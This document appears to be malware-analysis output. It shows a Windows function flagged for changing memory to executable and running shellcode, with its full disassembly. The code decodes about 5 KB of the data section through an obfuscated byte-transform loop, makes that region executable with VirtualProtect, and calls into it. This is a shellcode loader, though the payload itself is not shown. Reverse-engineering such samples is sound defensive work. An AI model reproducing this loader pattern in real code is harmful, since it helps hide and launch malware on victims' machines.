Function at 0x10008830
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 8], 0
jmp 0x1000884f
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x13d6
jae 0x10008a3f
mov ecx, dword [ebp - 8]
mov dl, byte [ecx + section..data]
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sub eax, 0x92
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
neg ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sar edx, 2
movzx eax, byte [ebp - 1]
shl eax, 6
or edx, eax
mov byte [ebp - 1], dl
movzx ecx, byte [ebp - 1]
sub ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
not edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
xor eax, 0xb6
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
not ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
xor edx, dword [ebp - 8]
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sub eax, 0xbe
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
not ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sar edx, 7
movzx eax, byte [ebp - 1]
shl eax, 1
or edx, eax
mov byte [ebp - 1], dl
movzx ecx, byte [ebp - 1]
neg ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
xor edx, 0xc1
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sub eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
sar ecx, 7
movzx edx, byte [ebp - 1]
shl edx, 1
or ecx, edx
mov byte [ebp - 1], cl
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
add ecx, 0xaa
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
xor edx, dword [ebp - 8]
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
sar ecx, 3
movzx edx, byte [ebp - 1]
shl edx, 5
or ecx, edx
mov byte [ebp - 1], cl
movzx eax, byte [ebp - 1]
sub eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
neg ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
not edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sub eax, 0x8f
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
neg ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
add edx, 0x6e
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
not eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
sub ecx, 0xdb
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
xor edx, 0x86
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
sub ecx, 0x7c
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sar edx, 2
movzx eax, byte [ebp - 1]
shl eax, 6
or edx, eax
mov byte [ebp - 1], dl
movzx ecx, byte [ebp - 1]
sub ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
xor edx, dword [ebp - 8]
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sub eax, 0xb0
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
neg ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
xor edx, 0xd1
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
not eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
add ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
neg edx
mov byte [ebp - 1], dl
mov eax, dword [ebp - 8]
mov cl, byte [ebp - 1]
mov byte [eax + section..data], cl
jmp 0x10008846
lea edx, [ebp - 0xc]
push edx
push 0x40
push 0x13d6
push section..data
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, section..data
call eax
xor eax, eax
mov esp, ebp
pop ebp
ret